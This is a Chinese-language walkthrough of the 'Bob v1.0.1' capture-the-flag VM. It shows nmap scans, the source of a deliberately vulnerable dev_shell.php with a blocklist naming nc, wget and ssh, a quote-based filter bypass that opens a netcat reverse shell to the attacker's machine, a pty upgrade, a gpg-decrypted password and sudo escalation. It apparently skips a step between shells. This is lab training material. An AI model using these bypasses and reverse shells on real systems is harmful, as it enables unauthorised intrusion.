注:原本拿到这台靶机时,用 VMware 打开获取不到 IP 地址。经过同事的提示,发现把 VM 更新到最新版就行了,很玄学。
首先查看 Kali IP 地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root at kali in ~ $ ip --color address 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:36:e9:5d brd ff:ff:ff:ff:ff:ff inet 10.10.8.17/24 brd 10.10.8.255 scope global dynamic noprefixroute eth0 valid_lft 1717sec preferred_lft 1717sec inet6 fe80::fff8:80c4:4cdf:a014/64 scope link noprefixroute valid_lft forever preferred_lft forever
地址探测
使用 Nmap 扫描出一个 IP:10.10.8.18
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in ~/Bob_v1.0.1 $ nmap -sn --min-rate 10000 10.10.8.0/24 -oN nmap_ip.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 11:37 CST Nmap scan report for 10.10.8.1 Host is up (0.000078s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 10.10.8.2 Host is up (0.00012s latency). MAC Address: 00:50:56:EA:61:D3 (VMware) Nmap scan report for 10.10.8.18 Host is up (0.00022s latency). MAC Address: 00:0C:29:6D:8A:D0 (VMware) Nmap scan report for 10.10.8.254 Host is up (0.000047s latency). MAC Address: 00:50:56:E7:3A:52 (VMware) Nmap scan report for 10.10.8.17 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 6.40 seconds
端口扫描
扫描开放端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
root at kali in ~/Bob_v1.0.1 $ nmap -p- -sC -T4 --min-rate 10000 10.10.8.18 -oN nmap_port.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 11:38 CST Nmap scan report for 10.10.8.18 Host is up (0.000034s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http | http-robots.txt: 4 disallowed entries | /login.php /dev_shell.php /lat_memo.html |_/passwords.html |_http-title: Site doesn't have a title (text/html). 25468/tcp open unknown MAC Address: 00:0C:29:6D:8A:D0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.70 seconds
root at kali in ~/Bob_v1.0.1 $ nmap -p21,80,25468 -sV -O -A -sC -T4 --min-rate 10000 10.10.8.18 -oN nmap_server.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 11:39 CST Nmap scan report for 10.10.8.18 Host is up (0.00050s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5b 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 4 disallowed entries | /login.php /dev_shell.php /lat_memo.html |_/passwords.html |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). 25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA) | 256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA) |_ 256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (ED25519) MAC Address: 00:0C:29:6D:8A:D0 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.50 ms 10.10.8.18
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.13 seconds
漏洞扫描
使用 Nmap 进行漏洞扫描:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in ~/Bob_v1.0.1 $ nmap --script=vuln -T4 --min-rate 10000 10.10.8.18 -oN nmap_vuln.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 11:40 CST Nmap scan report for 10.10.8.18 Host is up (0.000058s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /login.html: Possible admin folder |_ /robots.txt: Robots file MAC Address: 00:0C:29:6D:8A:D0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 43.86 seconds
<html> <body> <?php //init $invalid = 0; $command = ($_POST['in_command']); $bad_words = array("pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc"); ?> ...... <div id="shell"> <h2> dev_shell </h2> <form action="dev_shell.php" method="post"> Command: <input type="text" name="in_command"/> <br> <input type="submit" value="submit"> </form> <br> <h5>Output:</h5> <?php system("running command..."); //executes system Command //checks for sneaky ; if (strpos($command, ';') !== false) { system("echo Nice try skid, but you will never get through this bulletproof php code"); //doesn't work :P } else { $is_he_a_bad_man = explode(' ', trim($command)); //checks for dangerous commands if (in_array($is_he_a_bad_man[0], $bad_words)) { system("echo Get out skid lol"); } else { system($_POST['in_command']); } } ?> </div> ......
简单分析一下,可以知道对方只进行了常用几个命令的匹配,使用单引号可以全部绕过了。
Shell 反弹
既然过滤了 nc,说明可能就存在有 nc 命令,反弹试试:
1
n'c' -e /bin/bash 10.10.8.17 4444
在 Kali 上成功收到 Shell:
1 2 3 4 5 6 7
root at kali in ~/Bob_v1.0.1 $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.18: inverse host lookup failed: Unknown host connect to [10.10.8.17] from (UNKNOWN) [10.10.8.18] 45514 id uid=33(www-data) gid=33(www-data) groups=33(www-data),100(users)
由于获取到的 Shell 非交互式 Shell,使用 Python 升级一下:
1 2 3 4 5
python -c 'import pty; pty.spawn("/bin/bash")' www-data@Milburg-High:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data),100(users) www-data@Milburg-High:/var/www/html$
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. jc@Milburg-High:~$ id uid=1002(jc) gid=1002(jc) groups=1002(jc),100(users)
登录成功,再次翻找文件,在 bob 目录下发现 gpg 加密文件:
1 2 3 4 5 6 7
/home/bob/Documents: total 20 drwxr-xr-x 3 bob bob 4096 Mar 5 2018 . drwxr-xr-x 18 bob bob 4096 Mar 8 2018 .. -rw-r--r-- 1 bob bob 91 Mar 5 2018 login.txt.gpg drwxr-xr-x 3 bob bob 4096 Mar 5 2018 Secret -rw-r--r-- 1 bob bob 300 Mar 4 2018 staff.txt
不过既然 login.txt.gpg 是加密,就需要查找密钥了,在 Secret 目录往下翻:
1 2 3 4 5
/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here: total 12 drwxr-xr-x 2 bob bob 4096 Mar 5 2018 . drwxr-xr-x 3 bob bob 4096 Mar 5 2018 .. -rwxr-xr-x 1 bob bob 438 Mar 5 2018 notes.sh
查看 notes.sh 内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
#!/bin/bash clear echo "-= Notes =-" echo "Harry Potter is my faviorite" echo "Are you the real me?" echo "Right, I'm ordering pizza this is going nowhere" echo "People just don't get me" echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>" echo "Cucumber" echo "Rest now your eyes are sleepy" echo "Are you gonna stop reading this yet?" echo "Time to fix the server" echo "Everyone is annoying" echo "Sticky notes gotta buy em"
说实话没看懂,经过百度,这TM是个藏头诗。
密钥:HARPOCRATES
既然有了密钥,尝试解密 login.txt.gpg 文件:
1 2 3 4
jc@Milburg-High:/home/bob/Documents$ gpg -d login.txt.gpg gpg: AES encrypted data gpg: encrypted with 1 passphrase bob:b0bcat_
得到 bob 用户的登录密码,尝试进行登录:
1 2 3 4
jc@Milburg-High:/home/bob/Documents$ su bob Password: bob@Milburg-High:~/Documents$ id uid=1001(bob) gid=1001(bob) groups=1001(bob),27(sudo)
SUDO 提权
这里看到 bob 用户属于 sudo 用户组,查看执行权限:
1 2 3 4 5 6 7
bob@Milburg-High:~/Documents$ sudo -l [sudo] password for bob: Matching Defaults entries for bob on Milburg-High: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bob may run the following commands on Milburg-High: (ALL : ALL) ALL